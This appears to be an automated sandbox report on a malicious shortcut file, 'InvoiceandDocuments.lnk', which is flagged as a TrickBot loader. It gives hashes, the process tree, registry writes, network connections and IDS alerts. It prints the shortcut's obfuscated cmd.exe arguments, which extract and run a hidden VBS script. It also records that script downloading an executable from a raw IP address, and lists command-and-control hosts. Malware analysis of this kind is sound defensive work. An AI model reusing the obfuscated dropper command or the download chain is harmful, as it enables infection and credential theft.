File name:

InvoiceandDocuments.lnk

Full analysis: https://app.any.run/tasks/119dfc59-760d-4625-94ae-f93d723cccec
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: October 14, 2019, 22:23:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
trickbot
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=1, Archive, ctime=Sat Nov 22 00:44:59 2014, mtime=Sat Nov 22 00:44:59 2014, atime=Sat Nov 22 00:45:00 2014, length=357376, window=hidenormalshowminimized
MD5:

D26B1B39D00FB78B51D1697AFAB9DE50

SHA1:

1F8FB9E56F4A7B461F5C1105211099C901058931

SHA256:

886159ABF71EFAAB60FF60ECB0C054B6D7CED75CC504B0D4C04A135E61EC87A0

SSDEEP:

192:8HYArh8jTwCiGCQxqw1ACUag12O4+KhJSQKO2higcd1iLsZ/+lh1AL7Qm2vU:yYArh+EQxB1cJw5KOHX7igZWlhKPQzvU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • aYvcTyFY.exe (PID: 2340)
      • هحيلرنلركيانكللخئيت.exe (PID: 3972)
      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Downloads executable files from IP

      • WScript.exe (PID: 2820)

    • Downloads executable files from the Internet

      • WScript.exe (PID: 2820)

    • Known privilege escalation attack

      • DllHost.exe (PID: 3808)

    • Loads the Task Scheduler COM API

      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Connects to CnC server

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Changes settings of System certificates

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • TRICKBOT was detected

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

  • SUSPICIOUS

    • Executes scripts

      • cmd.exe (PID: 2768)

    • Starts itself from another location

      • aYvcTyFY.exe (PID: 2340)

    • Executable content was dropped or overwritten

      • aYvcTyFY.exe (PID: 2340)
      • WScript.exe (PID: 2820)
      • هحيلرنلركيانكللخئيت.exe (PID: 1944)

    • Creates files in the program directory

      • aYvcTyFY.exe (PID: 2340)

    • Executed via COM

      • DllHost.exe (PID: 3808)

    • Creates files in the user directory

      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Executed via Task Scheduler

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Removes files from Windows directory

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Creates files in the Windows directory

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

    • Adds / modifies Windows certificates

      • هحيلرنلركيانكللخئيت.exe (PID: 3816)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • aYvcTyFY.exe (PID: 2340)
      • WScript.exe (PID: 2820)
      • هحيلرنلركيانكللخئيت.exe (PID: 1944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpString
FileAttributes: Archive
CreateDate: 2014:11:22 02:44:59+01:00
AccessDate: 2014:11:22 02:44:59+01:00
ModifyDate: 2014:11:22 02:45:00+01:00
TargetFileSize: 357376
IconIndex: 1
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: cmd.exe
DriveType: Fixed Disk
VolumeLabel: -
LocalBasePath: C:\Windows\System32\cmd.exe
Description: InvoiceandDocuments
RelativePath: ..\..\..\..\Windows\System32\cmd.exe
CommandLineArguments: /v:on /c xcopy YmDqe & if not exist hMSQt (set "tiwkA=s" & set "GmFHW=n") & (fi!GmFHW!d!tiwkA!tr "AAwRT.*" InvoiceandDocuments.l!GmFHW!k > "%tmp%\sDcOO.vb!tiwkA!" & "%tmp%\sDcOO.vb!tiwkA!") & zDwcz
IconFileName: %SystemRoot%\system32\SHELL32.dll
MachineID: win-jbf0q9el659
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
9
Malicious processes
2
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start drop and start cmd.exe no specs xcopy.exe no specs findstr.exe no specs wscript.exe ayvctyfy.exe هحيلرنلركيانكللخئيت.exe no specs CMSTPLUA no specs هحيلرنلركيانكللخئيت.exe #TRICKBOT هحيلرنلركيانكللخئيت.exe

Process information

PID
CMD
Path
Indicators
Parent process
1608findstr "AAwRT.*" InvoiceandDocuments.lnk C:\Windows\system32\findstr.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (QGREP) Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\findstr.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
1944"C:\ProgramData\هحيلرنلركيانكللخئيت.exe" C:\ProgramData\هحيلرنلركيانكللخئيت.exe
DllHost.exe
User:
admin
Integrity Level:
HIGH
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Modules
Images
c:\programdata\هحيلرنلركيانكللخئيت.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
2340C:\Users\admin\AppData\Local\Temp\aYvcTyFY.exeC:\Users\admin\AppData\Local\Temp\aYvcTyFY.exe
WScript.exe
User:
admin
Integrity Level:
MEDIUM
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Modules
Images
c:\users\admin\appdata\local\temp\ayvctyfy.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
2768"C:\Windows\System32\cmd.exe" /v:on /c xcopy YmDqe & if not exist hMSQt (set "tiwkA=s" & set "GmFHW=n") & (fi!GmFHW!d!tiwkA!tr "AAwRT.*" InvoiceandDocuments.l!GmFHW!k > "C:\Users\admin\AppData\Local\Temp\sDcOO.vb!tiwkA!" & "C:\Users\admin\AppData\Local\Temp\sDcOO.vb!tiwkA!") & zDwczC:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2820"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\sDcOO.vbs" C:\Windows\System32\WScript.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3808C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}C:\Windows\system32\DllHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\dllhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3816C:\Users\admin\AppData\Roaming\HomeLan\هحيلرنلركيانكللخئيت.exe C:\Users\admin\AppData\Roaming\HomeLan\هحيلرنلركيانكللخئيت.exe
taskeng.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Modules
Images
c:\users\admin\appdata\roaming\homelan\هحيلرنلركيانكللخئيت.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3972"C:\ProgramData\هحيلرنلركيانكللخئيت.exe" C:\ProgramData\هحيلرنلركيانكللخئيت.exe—aYvcTyFY.exe
User:
admin
Integrity Level:
MEDIUM
Description:
HugeIntTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Modules
Images
c:\programdata\هحيلرنلركيانكللخئيت.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3984xcopy YmDqe C:\Windows\system32\xcopy.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Extended Copy Utility
Exit code:
4
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\xcopy.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ulib.dll
c:\windows\system32\user32.dll
Total events
530
Read events
507
Write events
23
Delete events
0

Modification events

(PID) Process:(2768) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2768) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2340) aYvcTyFY.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2340) aYvcTyFY.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3808) DllHost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3808) DllHost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3816) هحيلرنلركيانكللخئيت.exeKey:HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\MuiCache\12B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3816) هحيلرنلركيانكللخئيت.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13
Operation:writeName:Blob
Value:
040000000100000010000000410352DC0FF7501B16F0028EBA6F45C50F00000001000000140000005BCAA1C2780F0BCB5A90770451D96F38963F012D090000000100000042000000304006082B0601050507030406082B0601050507030106082B0601050507030206082B06010505070308060A2B0601040182370A0304060A2B0601040182370A030C6200000001000000200000000687260331A72403D909F105E69BCF0D32E1BD2493FFC6D9206D11BCD67707390B000000010000001E000000440053005400200052006F006F0074002000430041002000580033000000140000000100000014000000C4A7B1A47B2C71FADBE14B9075FFC415608589101D00000001000000100000004558D512EECB27464920897DE7B66053030000000100000014000000DAC9024F54D8F6DF94935FB1732638CA6AD77C131900000001000000100000006CF252FEC3E8F20996DE5D4DD9AEF42420000000010000004E0300003082034A30820232A003020102021044AFB080D6A327BA893039862EF8406B300D06092A864886F70D0101050500303F31243022060355040A131B4469676974616C205369676E617475726520547275737420436F2E311730150603550403130E44535420526F6F74204341205833301E170D3030303933303231313231395A170D3231303933303134303131355A303F31243022060355040A131B4469676974616C205369676E617475726520547275737420436F2E311730150603550403130E44535420526F6F7420434120583330820122300D06092A864886F70D01010105000382010F003082010A0282010100DFAFE99750088357B4CC6265F69082ECC7D32C6B30CA5BECD9C37DC740C118148BE0E83376492AE33F214993AC4E0EAF3E48CB65EEFCD3210F65D22AD9328F8CE5F777B0127BB595C089A3A9BAED732E7A0C063283A27E8A1430CD11A0E12A38B9790A31FD50BD8065DFB7516383C8E28861EA4B6181EC526BB9A2E24B1A289F48A39E0CDA098E3E172E1EDD20DF5BC62A8AAB2EBD70ADC50B1A25907472C57B6AAB34D63089FFE568137B540BC8D6AEEC5A9C921E3D64B38CC6DFBFC94170EC1672D526EC38553943D0FCFD185C40F197EBD59A9B8D1DBADA25B9C6D8DFC115023AABDA6EF13E2EF55C089C3CD68369E4109B192AB62957E3E53D9B9FF0025D0203010001A3423040300F0603551D130101FF040530030101FF300E0603551D0F0101FF040403020106301D0603551D0E04160414C4A7B1A47B2C71FADBE14B9075FFC41560858910300D06092A864886F70D01010505000382010100A31A2C9B17005CA91EEE2866373ABF83C73F4BC309A095205DE3D95944D23E0D3EBD8A4BA0741FCE10829C741A1D7E981ADDCB134BB32044E491E9CCFC7DA5DB6AE5FEE6FDE04EDDB7003AB57049AFF2E5EB02F1D1028B19CB943A5E48C4181E58195F1E025AF00CF1B1ADA9DC59868B6EE991F586CAFAB96633AA595BCEE2A7167347CB2BCC99B03748CFE3564BF5CF0F0C723287C6F044BB53726D43F526489A5267B758ABFE67767178DB0DA256141339243185A2A8025A3047E1DD5007BC02099000EB6463609B16BC88C912E6D27D918BF93D328D65B4E97CB15776EAC5B62839BF15651CC8F677966A0A8D770BD8910B048E07DB29B60AEE9D82353510
Executable files
3
Suspicious files
4
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\CabF775.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\TarF776.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\CabF787.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\TarF788.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\CabCA7.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\TEMP\TarCA8.tmp —
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Users\admin\AppData\Roaming\HomeLan\settings.initext
MD5:—
SHA256:—
2768cmd.exeC:\Users\admin\AppData\Local\Temp\sDcOO.vbstext
MD5:—
SHA256:—
1944هحيلرنلركيانكللخئيت.exeC:\Users\admin\AppData\Roaming\HomeLan\هحيلرنلركيانكللخئيت.exeexecutable
MD5:—
SHA256:—
3816هحيلرنلركيانكللخئيت.exeC:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015binary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
7
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2820
WScript.exe
GET
200
95.181.198.153:80
http://95.181.198.153/preview.php
RU
executable
632 Kb
suspicious
3816
هحيلرنلركيانكللخئيت.exe
GET
200
205.185.216.42:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
57.0 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3816
هحيلرنلركيانكللخئيت.exe
81.190.160.139:449
—
Multimedia Polska S.A.
PL
malicious
2820
WScript.exe
95.181.198.153:80
—
Dataline Ltd
RU
suspicious
3816
هحيلرنلركيانكللخئيت.exe
205.185.216.42:80
www.download.windowsupdate.com
Highwinds Network Group, Inc.
US
whitelisted
3816
هحيلرنلركيانكللخئيت.exe
176.58.123.25:443
ident.me
Linode, LLC
GB
suspicious

DNS requests

Domain
IP
Reputation
www.download.windowsupdate.com
  • 205.185.216.42
  • 205.185.216.10
whitelisted
ident.me
  • 176.58.123.25
shared
10.117.217.185.zen.spamhaus.org
  • —
unknown
10.117.217.185.cbl.abuseat.org
  • —
unknown
10.117.217.185.b.barracudacentral.org
  • —
unknown
10.117.217.185.dnsbl-1.uceprotect.net
  • —
unknown
10.117.217.185.spam.dnsbl.sorbs.net
  • —
unknown

Threats

PID
Process
Class
Message
2820
WScript.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2820
WScript.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2820
WScript.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3816
هحيلرنلركيانكللخئيت.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 22
3816
هحيلرنلركيانكللخئيت.exe
Not Suspicious Traffic
ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)
3816
هحيلرنلركيانكللخئيت.exe
Potential Corporate Privacy Violation
ET POLICY Observed Suspicious SSL Cert (External IP Lookup - ident .me)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
InvoiceandDocuments.lnk